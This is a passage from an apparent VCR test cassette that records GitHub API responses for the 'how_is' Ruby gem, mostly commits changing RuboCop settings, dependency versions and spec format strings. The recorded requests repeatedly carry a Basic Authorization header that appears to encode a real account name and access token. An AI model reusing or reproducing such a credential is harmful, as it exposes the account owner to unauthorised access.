hanges":2,"blob_url":"https://github.com/how-is/how_is/blob/abd524228a42a08041e53d7dc7495f48c23c3296/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/abd524228a42a08041e53d7dc7495f48c23c3296/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=abd524228a42a08041e53d7dc7495f48c23c3296","patch":"@@ -116,7 +116,7 @@\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = HowIs.generate_frontmatter({''foo'' => \"bar %{baz>\"}, {''baz'' => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({''foo'' => \"bar %{baz}\"}, {''baz'' => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n "}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:40 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3370' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c91b6286d9651324d74e0e2b70718767" Last-Modified: - Sun, 16 Jul 2017 11:33:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - A9B3:4066:1C8284:3F90F1:5CC36AE8 body: encoding: ASCII-8BIT string: '{"sha":"e9198ad7fbb7804f18ae0451820ecf43de376d9a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTkxOThhZDdmYmI3ODA0ZjE4YWUwNDUxODIwZWNmNDNkZTM3NmQ5YQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:33:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:33:03Z"},"message":"Lint to new option for FormatStringToken cop","tree":{"sha":"f2012ce4c169d55fd2fe6cf74c28a8b58106ad04","url":"https://api.github.com/repos/how-is/how_is/git/trees/f2012ce4c169d55fd2fe6cf74c28a8b58106ad04"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a","html_url":"https://github.com/how-is/how_is/commit/e9198ad7fbb7804f18ae0451820ecf43de376d9a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e9198ad7fbb7804f18ae0451820ecf43de376d9a/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","url":"https://api.github.com/repos/how-is/how_is/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","html_url":"https://github.com/how-is/how_is/commit/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"5a9d570491dab46318f3ca01998faf9ab0561449","filename":"spec/how_is_spec.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/e9198ad7fbb7804f18ae0451820ecf43de376d9a/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/e9198ad7fbb7804f18ae0451820ecf43de376d9a/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=e9198ad7fbb7804f18ae0451820ecf43de376d9a","patch":"@@ -116,7 +116,7 @@\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = HowIs.generate_frontmatter({''foo'' => \"bar %s\"}, {''baz'' => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({''foo'' => \"bar %{baz>\"}, {''baz'' => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n \n@@ -128,7 +128,7 @@\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = HowIs.generate_frontmatter({:foo => \"bar %s\"}, {:baz => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({:foo => \"bar %{baz}\"}, {:baz => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n "}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:40 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3369' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4dec3f0db13937803d7f79ceb78b98ac" Last-Modified: - Sun, 16 Jul 2017 11:32:45 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 7740:6668:2A2B38:53A3B1:5CC36AE8 body: encoding: ASCII-8BIT string: '{"sha":"eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWI3N2VlZDhiMjJjNGFmOTA5ZGVkODRjM2ZhMGMwZDEyZTA0ZjMyYw==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:32:45Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T11:32:45Z"},"message":"RuboCop: FormatStringToken with EnforcedStyle: template","tree":{"sha":"7f83204a72fda5ff932fc716b36312e8f41aa0a2","url":"https://api.github.com/repos/how-is/how_is/git/trees/7f83204a72fda5ff932fc716b36312e8f41aa0a2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","html_url":"https://github.com/how-is/how_is/commit/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","url":"https://api.github.com/repos/how-is/how_is/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","html_url":"https://github.com/how-is/how_is/commit/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5"}],"stats":{"total":11,"additions":11,"deletions":0},"files":[{"sha":"f55b836cd2d3d1538240873773187a2b1169b209","filename":".rubocop.yml","status":"modified","additions":11,"deletions":0,"changes":11,"blob_url":"https://github.com/how-is/how_is/blob/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/eb77eed8b22c4af909ded84c3fa0c0d12e04f32c/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=eb77eed8b22c4af909ded84c3fa0c0d12e04f32c","patch":"@@ -88,6 +88,17 @@ Layout/EndOfLine:\n Layout/ExtraSpacing:\n Enabled: false\n \n+# # bad\n+#\n+# format(''%s'', greeting: ''Hello'')\n+# format(''%s'', ''Hello'')\n+#\n+# # good\n+#\n+# format(''%{greeting}'', greeting: ''Hello'')\n+Style/FormatStringToken:\n+ EnforcedStyle: template\n+\n # Freeze string literals to future-proof the code.\n # TODO: Enable this always. (Disabled due to not knowing what will happen.)\n Style/FrozenStringLiteralComment:"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:40 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/73dc4d3a99b07582b976ccfc71ced31129e43955 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:40 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3368' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"21e269d9c508b767a940918c8cb77c42" Last-Modified: - Sun, 16 Jul 2017 09:55:26 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 9415:0C0B:12E5B8:2F009C:5CC36AE8 body: encoding: ASCII-8BIT string: '{"sha":"73dc4d3a99b07582b976ccfc71ced31129e43955","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzNkYzRkM2E5OWIwNzU4MmI5NzZjY2ZjNzFjZWQzMTEyOWU0Mzk1NQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T09:55:26Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T09:55:26Z"},"message":"Include name of rules in RuboCop output","tree":{"sha":"1a6d5de8e2eac1d1be2faf15f3d607926e3aa479","url":"https://api.github.com/repos/how-is/how_is/git/trees/1a6d5de8e2eac1d1be2faf15f3d607926e3aa479"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/73dc4d3a99b07582b976ccfc71ced31129e43955","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/73dc4d3a99b07582b976ccfc71ced31129e43955","html_url":"https://github.com/how-is/how_is/commit/73dc4d3a99b07582b976ccfc71ced31129e43955","comments_url":"https://api.github.com/repos/how-is/how_is/commits/73dc4d3a99b07582b976ccfc71ced31129e43955/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"}],"stats":{"total":2,"additions":2,"deletions":0},"files":[{"sha":"5a9c61df4787a83add6b10c0b328becf123e1848","filename":".rubocop.yml","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/73dc4d3a99b07582b976ccfc71ced31129e43955/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/73dc4d3a99b07582b976ccfc71ced31129e43955/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=73dc4d3a99b07582b976ccfc71ced31129e43955","patch":"@@ -1,4 +1,6 @@\n AllCops:\n+ DisplayCopNames: true\n+ DisplayStyleGuide: true\n TargetRubyVersion: 2.3\n Exclude:\n - ''how_is.gemspec''"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:40 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3367' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b791619ff80bbc2bf1fbb8945ee8a70e" Last-Modified: - Fri, 14 Jul 2017 23:42:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - DDCB:50F9:11C79B:2E5F65:5CC36AE9 body: encoding: ASCII-8BIT string: '{"sha":"c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzQzYTcyYzVjM2ExYzY2ZDM1MDcwMTY1NTRmOGJkYjVjNTFlNmRlNQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-14T23:42:03Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-14T23:42:03Z"},"message":"Rubocop 0.49.1","tree":{"sha":"53b3160eb8843794ff998101d04a65112e514ed3","url":"https://api.github.com/repos/how-is/how_is/git/trees/53b3160eb8843794ff998101d04a65112e514ed3"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","html_url":"https://github.com/how-is/how_is/commit/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb5d76b21d15a8f0f4e4a48b4559700019943568","url":"https://api.github.com/repos/how-is/how_is/commits/eb5d76b21d15a8f0f4e4a48b4559700019943568","html_url":"https://github.com/how-is/how_is/commit/eb5d76b21d15a8f0f4e4a48b4559700019943568"}],"stats":{"total":33,"additions":17,"deletions":16},"files":[{"sha":"f6d45cddd7c8c9cebcc2e52a6223fb38fb51bc0a","filename":".rubocop.yml","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/.rubocop.yml","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/.rubocop.yml","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.rubocop.yml?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -38,7 +38,7 @@ Style/Alias:\n EnforcedStyle: prefer_alias_method\n \n # Most readable form.\n-Style/AlignHash:\n+Layout/AlignHash:\n EnforcedHashRocketStyle: table\n EnforcedColonStyle: table\n # Disable because it wound up conflicting with a lot of things like:\n@@ -50,7 +50,7 @@ Style/AlignHash:\n # addressed.\n Enabled: false\n \n-Style/AlignParameters:\n+Layout/AlignParameters:\n # See Style/AlignedHash.\n Enabled: false\n \n@@ -74,7 +74,7 @@ Style/Encoding:\n Enabled: true\n \n # Force Unix line endings.\n-Style/EndOfLine:\n+Layout/EndOfLine:\n Enabled: true\n EnforcedStyle: lf\n \n@@ -85,7 +85,7 @@ Style/EndOfLine:\n # foobar = ''blah''\n # baz = ''asdf''\n # beep = ''boop''\n-Style/ExtraSpacing:\n+Layout/ExtraSpacing:\n Enabled: false\n \n # Freeze string literals to future-proof the code.\n@@ -133,11 +133,11 @@ Style/MethodCalledOnDoEndBlock:\n \n # Indenting the chained dots beneath each other is not supported by this cop,\n # see https://github.com/bbatsov/rubocop/issues/1633\n-Style/MultilineOperationIndentation:\n+Layout/MultilineOperationIndentation:\n Enabled: false\n \n # {''foo'' => ''bar''} not { ''foo'' => ''bar'' }\n-Style/SpaceInsideHashLiteralBraces:\n+Layout/SpaceInsideHashLiteralBraces:\n Enabled: true\n EnforcedStyle: no_space\n "},{"sha":"6ffeab959cdf438bc4b5f33abeffd1d6edde8a73","filename":"Gemfile.lock","status":"modified","additions":4,"deletions":2,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -50,6 +50,7 @@ GEM\n multi_xml (~> 0.5)\n rack (>= 1.2, < 3)\n openssl-better_defaults (0.0.1)\n+ parallel (1.11.2)\n parser (2.4.0.0)\n ast (~> 2.2)\n powerpack (0.1.1)\n@@ -70,7 +71,8 @@ GEM\n diff-lcs (>= 1.2.0, < 2.0)\n rspec-support (~> 3.6.0)\n rspec-support (3.6.0)\n- rubocop (0.47.1)\n+ rubocop (0.49.1)\n+ parallel (~> 1.10)\n parser (>= 2.3.3.1, < 3.0)\n powerpack (~> 0.1)\n rainbow (>= 1.99.1, < 3.0)\n@@ -101,7 +103,7 @@ DEPENDENCIES\n how_is!\n rake (~> 11.2)\n rspec (~> 3.5)\n- rubocop (~> 0.47.0)\n+ rubocop (~> 0.49.1)\n timecop (~> 0.8.1)\n vcr (~> 3.0)\n webmock"},{"sha":"b14700fd411e0f444386a2e72c593551c4b5282f","filename":"exe/how_is","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/exe/how_is","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/exe/how_is","contents_url":"https://api.github.com/repos/how-is/how_is/contents/exe/how_is?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -51,4 +51,3 @@ rescue => e\n abort \"Error: #{e.message}\"\n end\n end\n-"},{"sha":"8b07f0263bcd61bb1232174c001527e88e08cbd9","filename":"how_is.gemspec","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -31,5 +31,5 @@ Gem::Specification.new do |spec|\n spec.add_development_dependency \"timecop\", \"~> 0.8.1\"\n spec.add_development_dependency \"vcr\", \"~> 3.0\"\n spec.add_development_dependency \"webmock\"\n- spec.add_development_dependency \"rubocop\", \"~> 0.47.0\"\n+ spec.add_development_dependency \"rubocop\", \"~> 0.49.1\"\n end"},{"sha":"24de833b8e3f070519e9cba2daf5c9afc2e3cbc4","filename":"lib/how_is/analyzer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/lib/how_is/analyzer.rb","raw_url":"https://github.com/how-is/how_is/raw/c43a72c5c3a1c66d3507016554f8bdb5c51e6de5/lib/how_is/analyzer.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/analyzer.rb?ref=c43a72c5c3a1c66d3507016554f8bdb5c51e6de5","patch":"@@ -142,7 +142,7 @@ def average_age_for(issues_or_pulls)\n [months, \"month\"],\n [weeks, \"week\"],\n [days, \"day\"],\n- ].reject { |(v, _)| v == 0 }.map { |(v, k)|\n+ ].reject { |(v, _)| v.zero? }.map { |(v, k)|\n k += ''s'' if v != 1\n [v, k]\n 